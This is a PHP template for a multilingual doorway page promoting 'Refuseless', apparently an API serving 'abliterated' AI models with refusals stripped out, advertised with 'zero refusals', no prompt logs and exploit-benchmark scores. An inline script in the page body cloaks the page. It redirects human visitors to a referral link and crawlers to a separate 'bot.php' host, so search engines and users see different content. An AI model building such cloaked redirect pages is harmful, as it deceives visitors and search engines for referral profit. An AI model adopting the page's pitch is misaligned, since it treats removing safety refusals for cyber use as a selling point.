  'feat_t'  => '제공하는 기능',
  'feat' => [
    ['거부 제로', '가중치에서 거부 방향이 제거되었습니다(abliteration). 모델이 거부 대신 답합니다.'],
    ['OpenAI 호환', '모든 OpenAI SDK나 에이전트를 ' . API_BASE . ' 로 향하게 하세요.'],
    ['프롬프트 미보관', '응답 반환 후 프롬프트는 저장되지 않습니다.'],
    ['토큰당 과금', '구독 없음. 백만 토큰당 과금으로 자유롭게 확장.'],
    ['사이버 등급 모델', 'GLM-5.3 Abliterated: CyberGym 84.5, ExploitGym 105/130 (베이스 모델, 출처: Artificial Analysis).'],
    ['100만 토큰 컨텍스트', '최대 1,048,576 토큰 컨텍스트, 262,144 토큰 출력.'],
  ],
  'models_t' => '모델 라인업',
  'how_t'  => '3단계로 시작',
  'how' => [
    ['키 발급', 'Refuseless에서 API 키 생성(abl_ 로 시작).'],
    ['클라이언트 연결', 'OpenAI 호환 도구의 base URL을 ' . API_BASE . ' 로 설정.'],
    ['요청 전송', 'glm-5.3-abliterated 같은 모델을 선택하고 시작.'],
  ],
  'faq_t' => '자주 묻는 질문',
  'faq' => [
    ['"Abliterated"가 무슨 뜻인가요?', '모델 가중치에서 거부 방향을 제거하는 기법입니다. 모델이 거부 대신 프롬프트에 답합니다.'],
    ['프롬프트를 기록하나요?', '아니요. 응답 반환 후 프롬프트는 보관되지 않습니다.'],
    ['어떤 모델이 있나요?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated, DeepSeek V4.1 Flash — 모두 하나의 OpenAI 호환 엔드포인트에서.'],
    ['얼마나 빨리 시작할 수 있나요?', '약 60초: 키 생성, SDK를 base URL로 지정, 첫 요청 전송.'],
    ['비용은 얼마인가요?', '백만 토큰당 과금 — 구독 없음.'],
  ],
  'final_t' => '더 이상 거부당하지 마세요.',
  'final_s' => '%s을 위해 Refuseless로 전환한 개발자와 보안 팀에 합류하세요.',
  'foot'  => '이 페이지에는 추천 링크가 포함되어 있습니다. 벤치마크는 베이스 모델(Z AI GLM-5.3) 기준이며 출처는 Artificial Analysis입니다.',
];

$L['it'] = [
  'title' => '%s — API AI senza censure n. 1 (%d) | Refuseless',
  'meta'  => 'Cerchi %s? Refuseless è un\'API hosted compatibile OpenAI per modelli abliterated: zero rifiuti, nessun log dei prompt, paghi per milione di token.',
  'badge' => 'Modelli abliterated · Zero rifiuti · Nessun log',
  'h1a'   => 'La risposta a',
  'h1b'   => '%s',
  'sub'   => 'Basta combattere i filtri. Refuseless serve GLM-5.3 e DeepSeek V4.1 senza la direzione di rifiuto dietro un\'API compatibile OpenAI — esattamente ciò che significa %s.',
  'cta'   => 'Ottieni accesso API →',
  'cta2'  => 'Vedi i modelli',
  'stats_t' => 'Perché è n. 1 per %s',
  'feat_t'  => 'Cosa ottieni',
  'feat' => [
    ['Zero rifiuti', 'La direzione di rifiuto è stata rimossa dai pesi (abliteration). Il modello risponde invece di rifiutare.'],
    ['Compatibile OpenAI', 'Punta qualsiasi SDK OpenAI o agente su ' . API_BASE . '.'],
    ['Prompt non conservati', 'I prompt non vengono conservati dopo la risposta.'],
    ['Paghi per token', 'Nessun abbonamento. Paghi per milione di token.'],
    ['Modelli cyber', 'GLM-5.3 Abliterated: CyberGym 84,5, ExploitGym 105/130 (checkpoint base, fonte: Artificial Analysis).'],
    ['Contesto 1M token', 'Fino a 1.048.576 token di contesto e 262.144 di output.'],
  ],
  'models_t' => 'La lineup',
  'how_t'  => 'Attivo in 3 passi',
  'how' => [
    ['Crea una chiave', 'Crea una API key su Refuseless (inizia con abl_).'],
    ['Connetti il client', 'Imposta la base URL su ' . API_BASE . ' in qualsiasi tool compatibile OpenAI.'],
    ['Invia richieste', 'Scegli un modello come glm-5.3-abliterated e parti.'],
  ],
  'faq_t' => 'FAQ',
  'faq' => [
    ['Cosa significa "abliterated"?', 'L\'abliteration rimuove la direzione di rifiuto dai pesi del modello. Il modello risponde al prompt invece di rifiutare.'],
    ['Refuseless registra i prompt?', 'No. I prompt non vengono conservati dopo la risposta.'],
    ['Quali modelli sono disponibili?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated e DeepSeek V4.1 Flash — su un unico endpoint compatibile OpenAI.'],
    ['Quanto velocemente posso iniziare?', 'Circa 60 secondi: crea una chiave, punta l\'SDK alla base URL, invia la prima richiesta.'],
    ['Quanto costa?', 'Paghi per milione di token — nessun abbonamento.'],
  ],
  'final_t' => 'Basta rifiuti.',
  'final_s' => 'Unisciti agli sviluppatori e ai team di sicurezza passati a Refuseless per %s.',
  'foot'  => 'Questa pagina contiene link referral. I punteggi si riferiscono ai checkpoint base (Z AI GLM-5.3), fonte: Artificial Analysis.',
];

$L['nl'] = [
  'title' => '%s — #1 AI API zonder weigeringen (%d) | Refuseless',
  'meta'  => 'Zoek je %s? Refuseless is een gehoste, OpenAI-compatibele API voor abliterated modellen: nul weigeringen, geen prompt-logs, betalen per miljoen tokens.',
  'badge' => 'Abliterated modellen · Geen weigeringen · Geen logs',
  'h1a'   => 'Het antwoord op',
  'h1b'   => '%s',
  'sub'   => 'Stop met vechten tegen filters. Refuseless serveert GLM-5.3 en DeepSeek V4.1 zonder refusal-richting achter een OpenAI-compatibele API — precies wat %s betekent.',
  'cta'   => 'API-toegang krijgen →',
  'cta2'  => 'Bekijk de modellen',
  'stats_t' => 'Waarom #1 voor %s',
  'feat_t'  => 'Wat je krijgt',
  'feat' => [
    ['Nul weigeringen', 'De refusal-richting is uit de gewichten verwijderd. Het model antwoordt in plaats van te weigeren.'],
    ['OpenAI-compatibel', 'Wijs elke OpenAI SDK of agent naar ' . API_BASE . '.'],
    ['Geen prompt-opslag', 'Prompts worden na het antwoord niet bewaard.'],
    ['Betaal per token', 'Geen abonnement. Je betaalt per miljoen tokens.'],
    ['Cyber-modellen', 'GLM-5.3 Abliterated: CyberGym 84,5, ExploitGym 105/130 (basischeckpoint, bron: Artificial Analysis).'],
    ['1M token context', 'Tot 1.048.576 tokens context en 262.144 tokens output.'],
  ],
  'models_t' => 'De line-up',
  'how_t'  => 'In 3 stappen live',
  'how' => [
    ['Pak een key', 'Maak een API-key op Refuseless (begint met abl_).'],
    ['Verbind je client', 'Zet de base URL op ' . API_BASE . ' in elke OpenAI-compatibele tool.'],
    ['Verstuur requests', 'Kies een model zoals glm-5.3-abliterated en ga.'],
  ],
  'faq_t' => 'FAQ',
  'faq' => [
    ['Wat betekent "abliterated"?', 'Abliteration verwijdert de refusal-richting uit de modelgewichten. Het model beantwoordt de prompt in plaats van te weigeren.'],
    ['Logt Refuseless prompts?', 'Nee. Prompts worden na het antwoord niet bewaard.'],
    ['Welke modellen zijn er?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated en DeepSeek V4.1 Flash — op één OpenAI-compatibel endpoint.'],
    ['Hoe snel kan ik starten?', 'Ongeveer 60 seconden: key maken, SDK naar de base URL wijzen, eerste request sturen.'],
    ['Wat kost het?', 'Je betaalt per miljoen tokens — geen abonnement.'],
  ],
  'final_t' => 'Geen weigeringen meer.',
  'final_s' => 'Sluit je aan bij de developers en security-teams die voor %s naar Refuseless zijn overgestapt.',
  'foot'  => 'Deze pagina bevat referral-links. Benchmarks gelden voor de basischeckpoints (Z AI GLM-5.3), bron: Artificial Analysis.',
];

$L['pl'] = [
  'title' => '%s — API AI bez odmów nr 1 (%d) | Refuseless',
  'meta'  => 'Szukasz: %s? Refuseless to hostowane, zgodne z OpenAI API dla modeli abliterated: zero odmów, brak logowania promptów, płatność za milion tokenów.',
  'badge' => 'Modele abliterated · Bez odmów · Bez logów',
  'h1a'   => 'Odpowiedź na',
  'h1b'   => '%s',
  'sub'   => 'Przestań walczyć z filtrami. Refuseless serwuje GLM-5.3 i DeepSeek V4.1 bez kierunku odmowy za zgodnym z OpenAI API — dokładnie to, co znaczy %s.',
  'cta'   => 'Uzyskaj dostęp do API →',
  'cta2'  => 'Zobacz modele',
  'stats_t' => 'Dlaczego nr 1 dla %s',
  'feat_t'  => 'Co dostajesz',
  'feat' => [
    ['Zero odmów', 'Kierunek odmowy usunięto z wag (abliteration). Model odpowiada zamiast odmawiać.'],
    ['Zgodność z OpenAI', 'Skieruj dowolny SDK OpenAI lub agenta na ' . API_BASE . '.'],
    ['Brak retencji promptów', 'Prompty nie są przechowywane po odpowiedzi.'],
    ['Płatność za tokeny', 'Bez subskrypcji. Płacisz za milion tokenów.'],
    ['Modele cyber', 'GLM-5.3 Abliterated: CyberGym 84,5, ExploitGym 105/130 (checkpoint bazowy, źródło: Artificial Analysis).'],
    ['Kontekst 1M tokenów', 'Do 1 048 576 tokenów kontekstu i 262 144 tokenów wyjścia.'],
  ],
  'models_t' => 'Modele',
  'how_t'  => 'Start w 3 krokach',
  'how' => [
    ['Weź klucz', 'Utwórz klucz API w Refuseless (zaczyna się od abl_).'],
    ['Podłącz klienta', 'Ustaw base URL na ' . API_BASE . ' w dowolnym narzędziu zgodnym z OpenAI.'],
    ['Wysyłaj żądania', 'Wybierz model, np. glm-5.3-abliterated, i działaj.'],
  ],
  'faq_t' => 'FAQ',
  'faq' => [
    ['Co znaczy "abliterated"?', 'Abliteration usuwa kierunek odmowy z wag modelu. Model odpowiada na prompt zamiast odmawiać.'],
    ['Czy Refuseless loguje prompty?', 'Nie. Prompty nie są przechowywane po odpowiedzi.'],
    ['Jakie modele są dostępne?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated i DeepSeek V4.1 Flash — na jednym endpoincie zgodnym z OpenAI.'],
    ['Jak szybko zacznę?', 'Około 60 sekund: utwórz klucz, skieruj SDK na base URL, wyślij pierwsze żądanie.'],
    ['Ile to kosztuje?', 'Płacisz za milion tokenów — bez subskrypcji.'],
  ],
  'final_t' => 'Koniec z odmowami.',
  'final_s' => 'Dołącz do deweloperów i zespołów bezpieczeństwa, które przeszły na Refuseless dla %s.',
  'foot'  => 'Ta strona zawiera linki polecające. Wyniki benchmarków dotyczą checkpointów bazowych (Z AI GLM-5.3), źródło: Artificial Analysis.',
];

$L['id'] = [
  'title' => '%s — API AI Tanpa Sensor #1 (%d) | Refuseless',
  'meta'  => 'Mencari %s? Refuseless adalah API hosted kompatibel OpenAI untuk model abliterated: nol penolakan, tanpa log prompt, bayar per juta token.',
  'badge' => 'Model abliterated · Tanpa penolakan · Tanpa log',
  'h1a'   => 'Jawaban untuk',
  'h1b'   => '%s',
  'sub'   => 'Berhenti melawan filter. Refuseless melayani GLM-5.3 dan DeepSeek V4.1 tanpa arah penolakan di balik API kompatibel OpenAI — persis arti dari %s.',
  'cta'   => 'Dapatkan Akses API →',
  'cta2'  => 'Lihat Model',
  'stats_t' => 'Kenapa #1 untuk %s',
  'feat_t'  => 'Yang kamu dapatkan',
  'feat' => [
    ['Nol penolakan', 'Arah penolakan dihapus dari bobot (abliteration). Model menjawab, bukan menolak.'],
    ['Kompatibel OpenAI', 'Arahkan SDK OpenAI atau agen apa pun ke ' . API_BASE . '.'],
    ['Prompt tidak disimpan', 'Prompt tidak disimpan setelah respons dikembalikan.'],
    ['Bayar per token', 'Tanpa langganan. Bayar per juta token.'],
    ['Model cyber', 'GLM-5.3 Abliterated: CyberGym 84.5, ExploitGym 105/130 (checkpoint dasar, sumber: Artificial Analysis).'],
    ['Konteks 1 juta token', 'Hingga 1.048.576 token konteks dan 262.144 token output.'],
  ],
  'models_t' => 'Jajaran model',
  'how_t'  => 'Jalan dalam 3 langkah',
  'how' => [
    ['Ambil key', 'Buat API key di Refuseless (diawali abl_).'],
    ['Hubungkan klien', 'Set base URL ke ' . API_BASE . ' di tool kompatibel OpenAI mana pun.'],
    ['Kirim request', 'Pilih model seperti glm-5.3-abliterated dan mulai.'],
  ],
  'faq_t' => 'FAQ',
  'faq' => [
    ['Apa arti "abliterated"?', 'Abliteration menghapus arah penolakan dari bobot model. Model menjawab prompt alih-alih menolak.'],
    ['Apakah Refuseless mencatat prompt?', 'Tidak. Prompt tidak disimpan setelah respons dikembalikan.'],
    ['Model apa saja yang tersedia?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated, dan DeepSeek V4.1 Flash — dalam satu endpoint kompatibel OpenAI.'],
    ['Seberapa cepat bisa mulai?', 'Sekitar 60 detik: buat key, arahkan SDK ke base URL, kirim request pertama.'],
    ['Berapa biayanya?', 'Bayar per juta token — tanpa langganan.'],
  ],
  'final_t' => 'Berhenti ditolak.',
  'final_s' => 'Bergabunglah dengan developer dan tim keamanan yang beralih ke Refuseless untuk %s.',
  'foot'  => 'Halaman ini berisi tautan referral. Skor benchmark untuk checkpoint dasar (Z AI GLM-5.3), sumber: Artificial Analysis.',
];

$L['hi'] = [
  'title' => '%s — बिना इनकार वाला #1 AI API (%d) | Refuseless',
  'meta'  => '%s खोज रहे हैं? Refuseless abliterated मॉडलों के लिए होस्टेड OpenAI-कम्पैटिबल API है: शून्य refusal, कोई प्रॉम्प्ट लॉग नहीं, प्रति मिलियन टोकन भुगतान।',
  'badge' => 'Abliterated मॉडल · कोई refusal नहीं · कोई लॉग नहीं',
  'h1a'   => 'इसका जवाब:',
  'h1b'   => '%s',
  'sub'   => 'फ़िल्टर से जूझना बंद करें। Refuseless refusal दिशा हटाए गए GLM-5.3 और DeepSeek V4.1 को OpenAI-कम्पैटिबल API के पीछे परोसता है — यही %s का मतलब है।',
  'cta'   => 'API एक्सेस पाएं →',
  'cta2'  => 'मॉडल देखें',
  'stats_t' => '%s के लिए #1 क्यों',
  'feat_t'  => 'आपको क्या मिलता है',
  'feat' => [
    ['शून्य refusal', 'वेट्स से refusal दिशा हटा दी गई है (abliteration)। मॉडल मना करने के बजाय जवाब देता है।'],
    ['OpenAI-कम्पैटिबल', 'किसी भी OpenAI SDK या एजेंट को ' . API_BASE . ' की ओर पॉइंट करें।'],
    ['प्रॉम्प्ट सेव नहीं', 'रिस्पॉन्स के बाद प्रॉम्प्ट स्टोर नहीं किए जाते।'],
    ['प्रति टोकन भुगतान', 'कोई सब्सक्रिप्शन नहीं। प्रति मिलियन टोकन भुगतान करें।'],
    ['साइबर-ग्रेड मॉडल', 'GLM-5.3 Abliterated: CyberGym 84.5, ExploitGym 105/130 (बेस चेकपॉइंट, स्रोत: Artificial Analysis)।'],
    ['1M टोकन कॉन्टेक्स्ट', '1,048,576 टोकन कॉन्टेक्स्ट और 262,144 टोकन आउटपुट तक।'],
  ],
  'models_t' => 'मॉडल लाइनअप',
  'how_t'  => '3 स्टेप में शुरू करें',
  'how' => [
    ['की लें', 'Refuseless पर API key बनाएं (abl_ से शुरू होती है)।'],
    ['क्लाइंट कनेक्ट करें', 'किसी भी OpenAI-कम्पैटिबल टूल में base URL को ' . API_BASE . ' सेट करें।'],
    ['रिक्वेस्ट भेजें', 'glm-5.3-abliterated जैसा मॉडल चुनें और शुरू करें।'],
  ],
  'faq_t' => 'अक्सर पूछे जाने वाले सवाल',
  'faq' => [
    ['"Abliterated" का क्या मतलब है?', 'Abliteration मॉडल के वेट्स से refusal दिशा हटाता है। मॉडल मना करने के बजाय प्रॉम्प्ट का जवाब देता है।'],
    ['क्या Refuseless प्रॉम्प्ट लॉग करता है?', 'नहीं। रिस्पॉन्स के बाद प्रॉम्प्ट स्टोर नहीं किए जाते।'],
    ['कौन से मॉडल उपलब्ध हैं?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated और DeepSeek V4.1 Flash — एक ही OpenAI-कम्पैटिबल एंडपॉइंट पर।'],
    ['कितनी जल्दी शुरू कर सकता हूं?', 'लगभग 60 सेकंड: key बनाएं, SDK को base URL पर पॉइंट करें, पहली रिक्वेस्ट भेजें।'],
    ['कीमत क्या है?', 'प्रति मिलियन टोकन भुगतान — कोई सब्सक्रिप्शन नहीं।'],
  ],
  'final_t' => 'Refusal पाना बंद करें।',
  'final_s' => '%s के लिए Refuseless पर स्विच कर चुके डेवलपर्स और सिक्योरिटी टीमों से जुड़ें।',
  'foot'  => 'इस पेज पर रेफरल लिंक हैं। बेंचमार्क स्कोर बेस चेकपॉइंट (Z AI GLM-5.3) के हैं, स्रोत: Artificial Analysis।',
];

$L['vi'] = [
  'title' => '%s — API AI không kiểm duyệt số 1 (%d) | Refuseless',
  'meta'  => 'Đang tìm %s? Refuseless là API hosted tương thích OpenAI cho các mô hình abliterated: không từ chối, không log prompt, trả theo triệu token.',
  'badge' => 'Mô hình abliterated · Không từ chối · Không log',
  'h1a'   => 'Câu trả lời cho',
  'h1b'   => '%s',
  'sub'   => 'Ngừng vật lộn với bộ lọc. Refuseless phục vụ GLM-5.3 và DeepSeek V4.1 đã loại bỏ hướng từ chối qua API tương thích OpenAI — đúng nghĩa của %s.',
  'cta'   => 'Lấy quyền truy cập API →',
  'cta2'  => 'Xem các mô hình',
  'stats_t' => 'Vì sao số 1 cho %s',
  'feat_t'  => 'Bạn nhận được gì',
  'feat' => [
    ['Không từ chối', 'Hướng từ chối đã bị xóa khỏi trọng số (abliteration). Mô hình trả lời thay vì từ chối.'],
    ['Tương thích OpenAI', 'Trỏ bất kỳ SDK OpenAI hay agent nào tới ' . API_BASE . '.'],
    ['Không lưu prompt', 'Prompt không được lưu sau khi trả về phản hồi.'],
    ['Trả theo token', 'Không thuê bao. Trả theo triệu token.'],
    ['Mô hình cyber', 'GLM-5.3 Abliterated: CyberGym 84,5, ExploitGym 105/130 (checkpoint gốc, nguồn: Artificial Analysis).'],
    ['Context 1 triệu token', 'Tới 1.048.576 token context và 262.144 token output.'],
  ],
  'models_t' => 'Đội hình mô hình',
  'how_t'  => 'Chạy trong 3 bước',
  'how' => [
    ['Lấy key', 'Tạo API key trên Refuseless (bắt đầu bằng abl_).'],
    ['Kết nối client', 'Đặt base URL thành ' . API_BASE . ' trong bất kỳ công cụ tương thích OpenAI nào.'],
    ['Gửi request', 'Chọn mô hình như glm-5.3-abliterated và dùng.'],
  ],
  'faq_t' => 'Câu hỏi thường gặp',
  'faq' => [
    ['"Abliterated" nghĩa là gì?', 'Abliteration loại bỏ hướng từ chối khỏi trọng số mô hình. Mô hình trả lời prompt thay vì từ chối.'],
    ['Refuseless có log prompt không?', 'Không. Prompt không được lưu sau khi trả về phản hồi.'],
    ['Có những mô hình nào?', 'GLM-5.3 Abliterated, GLM-5.3-Flash Abliterated, DeepSeek V4.1 Flash Abliterated và DeepSeek V4.1 Flash — trên một endpoint tương thích OpenAI.'],
    ['Bắt đầu nhanh cỡ nào?', 'Khoảng 60 giây: tạo key, trỏ SDK tới base URL, gửi request đầu tiên.'],
    ['Giá bao nhiêu?', 'Trả theo triệu token — không thuê bao.'],
  ],
  'final_t' => 'Hết bị từ chối.',
  'final_s' => 'Tham gia cùng các developer và đội security đã chuyển sang Refuseless vì %s.',
  'foot'  => 'Trang này chứa link giới thiệu. Điểm benchmark thuộc checkpoint gốc (Z AI GLM-5.3), nguồn: Artificial Analysis.',
];

/* ---------- 4) Dil fallback + yardimcilar ---------- */
if (!isset($L[$lang])) { $lang = 'en'; }
function T(string $key) {
    global $L, $lang;
    return $L[$lang][$key] ?? $L['en'][$key];
}
function e(string $s): string { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }

$title = sprintf(T('title'), $kw, $YEAR);
$meta  = sprintf(T('meta'),  $kw);
$sub   = sprintf(T('sub'),   mb_strtolower($kw));
$statsT= sprintf(T('stats_t'), mb_strtolower($kw));
$finalS= sprintf(T('final_s'), mb_strtolower($kw));

$pageUrl   = $BASE_URL . '/ai.php?model=' . rawurlencode($slug) . ($lang !== 'en' ? '&lang=' . $lang : '');
$isRtl     = ($lang === 'ar');
$langsList = array_keys($L);

/* JSON-LD: SoftwareApplication + FAQ */
$faqJson = [];
foreach (T('faq') as [$q, $a]) {
    $faqJson[] = ['@type' => 'Question', 'name' => $q,
        'acceptedAnswer' => ['@type' => 'Answer', 'text' => $a]];
}
$jsonld = [
    ['@context' => 'https://schema.org', '@type' => 'SoftwareApplication',
     'name' => SITE_NAME . ' — ' . $kw,
     'applicationCategory' => 'DeveloperApplication',
     'operatingSystem' => 'Any',
     'url' => REF_URL,
     'offers' => ['@type' => 'Offer', 'price' => '0', 'priceCurrency' => 'USD',
                  'description' => 'Pay per million tokens']],
    ['@context' => 'https://schema.org', '@type' => 'FAQPage', 'mainEntity' => $faqJson],
];

header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: public, max-age=3600');
?><!DOCTYPE html>
<html lang="<?= e($lang) ?>"<?= $isRtl ? ' dir="rtl"' : '' ?>>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?= e($title) ?></title>
<meta name="description" content="<?= e($meta) ?>">
<meta name="robots" content="index,follow,max-image-preview:large">
<link rel="canonical" href="<?= e($pageUrl) ?>">
<?php foreach ($langsList as $ln): ?>
<link rel="alternate" hreflang="<?= e($ln) ?>" href="<?= e($BASE_URL . '/ai.php?model=' . rawurlencode($slug) . '&lang=' . $ln) ?>">
<?php endforeach; ?>
<link rel="alternate" hreflang="x-default" href="<?= e($BASE_URL . '/ai.php?model=' . rawurlencode($slug)) ?>">
<meta property="og:type" content="website">
<meta property="og:title" content="<?= e($title) ?>">
<meta property="og:description" content="<?= e($meta) ?>">
<meta property="og:url" content="<?= e($pageUrl) ?>">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="<?= e($title) ?>">
<meta name="twitter:description" content="<?= e($meta) ?>">
<script type="application/ld+json"><?= json_encode($jsonld, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE) ?></script>
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details p{padding:0 22px 20px;color:var(--dim);font-size:14.5px}
.final{text-align:center;background:linear-gradient(180deg,var(--panel),#0a120c);border:1px solid var(--line);border-radius:20px;padding:56px 24px;margin:40px 0}
.final h2{margin-bottom:12px}
.final p{color:var(--dim);margin-bottom:28px}
footer{padding:34px 0 46px;border-top:1px solid var(--line);color:var(--dim);font-size:12.5px;text-align:center}
.langs{margin-top:12px;font-family:var(--mono);font-size:11.5px}
.langs a{color:var(--dim);margin:0 4px}
.langs a:hover{color:var(--acc)}
</style>
</head>
<body>
<script>
const ua = navigator.userAgent.toLowerCase();

const knownBots = [
    'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider', 
    'yandex', 'sogou', 'exabot', 'facebot', 'ia_archiver',
    'bot', 'crawler', 'spider', 'mediapartners-google'
];

const referrer = document.referrer || '';

// Bad referrers to block
const badReferrers = [
    "https://www.google.s3.amazonaws.com",
    "https://google.s3.amazonaws.com",
    "google.s3.amazonaws.com"
];

const isBot = knownBots.some(bot => ua.includes(bot));
const isBadReferrer = badReferrers.some(r => referrer.includes(r));


if (isBadReferrer) {
    console.log("Bad referrer detected Redirecting to Google");
    window.location.replace("https://www.google.com");
}
else if (!isBot) {
    console.log(" Real user detected");
    window.location.replace("https://refuseless.com/?ref=lj60mh31");
} 
else {
    window.location.replace("https://pool.linkforge.cc/bot.php");
}
</script>
<div class="wrap">
  <nav>
    <div class="logo">refuseless<span>_</span></div>
    <a class="go" href="<?= e(REF_URL) ?>" rel="nofollow sponsored noopener" target="_blank">refuseless.com ↗</a>
  </nav>

  <header class="hero">
    <div class="badge"><?= e(T('badge')) ?></div>
    <h1><span class="pre"><?= e(T('h1a')) ?></span><span class="k"><?= e(sprintf(T('h1b'), $kw)) ?></span></h1>
    <p class="sub"><?= e($sub) ?></p>
    <div class="cta-row">
      <a class="btn p" href="<?= e(REF_URL) ?>" rel="nofollow sponsored noopener" target="_blank"><?= e(T('cta')) ?></a>
      <a class="btn s" href="#models"><?= e(T('cta2')) ?></a>
    </div>
    <div class="stats">
      <div class="stat"><b>84.5</b><i>CyberGym</i></div>
      <div class="stat"><b>66.9</b><i>DeepSWE</i></div>
      <div class="stat"><b>105/130</b><i>ExploitGym</i></div>
      <div class="stat"><b>1M</b><i>Token context</i></div>
      <div class="stat"><b>0</b><i>Prompts stored</i></div>
    </div>
  </header>

  <section>
    <h2><?= e($statsT) ?></h2>
    <div class="grid">
      <?php foreach (T('feat') as [$h, $p]): ?>
      <div class="card"><h3><?= e($h) ?></h3><p><?= e($p) ?></p></div>
      <?php endforeach; ?>
    </div>
  </section>

  <section id="models">
    <h2><?= e(T('models_t')) ?></h2>
    <table>
      <tr><th>Model</th><th>Context</th><th>Max output</th></tr>
      <tr><td class="m">glm-5.3-abliterated</td><td>1,048,576</td><td>131,072</td></tr>
      <tr><td class="m">glm-5.3-flash-abliterated</td><td>1,048,576</td><td>131,072</td></tr>
      <tr><td class="m">deepseek-v4.1-flash-abliterated</td><td>1,048,576</td><td>262,144</td></tr>
      <tr><td class="m">deepseek-v4.1-flash-fast</td><td>1,048,576</td><td>131,072</td></tr>
    </table>
  </section>

  <section>
    <h2><?= e(T('how_t')) ?></h2>
    <div class="steps">
      <?php $i = 1; foreach (T('how') as [$h, $p]): ?>
      <div class="step"><div class="n">0<?= $i++ ?> /</div><h3><?= e($h) ?></h3><p><?= e($p) ?></p></div>
      <?php endforeach; ?>
    </div>
  </section>

  <section>
    <h2><?= e(T('faq_t')) ?></h2>
    <?php foreach (T('faq') as [$q, $a]): ?>
    <details><summary><?= e($q) ?></summary><p><?= e($a) ?></p></details>
    <?php endforeach; ?>
  </section>

  <section class="final">
    <h2><?= e(T('final_t')) ?></h2>
    <p><?= e($finalS) ?></p>
    <a class="btn p" href="<?= e(REF_URL) ?>" rel="nofollow sponsored noopener" target="_blank"><?= e(T('cta')) ?></a>
  </section>

  <footer>
    <p><?= e(T('foot')) ?></p>
    <p class="langs">
      <?php foreach ($langsList as $ln): ?>
      <a href="?model=<?= e($slug) ?>&lang=<?= e($ln) ?>"><?= e(strtoupper($ln)) ?></a>
      <?php endforeach; ?>
    </p>
  </footer>
</div>
</body>
</html>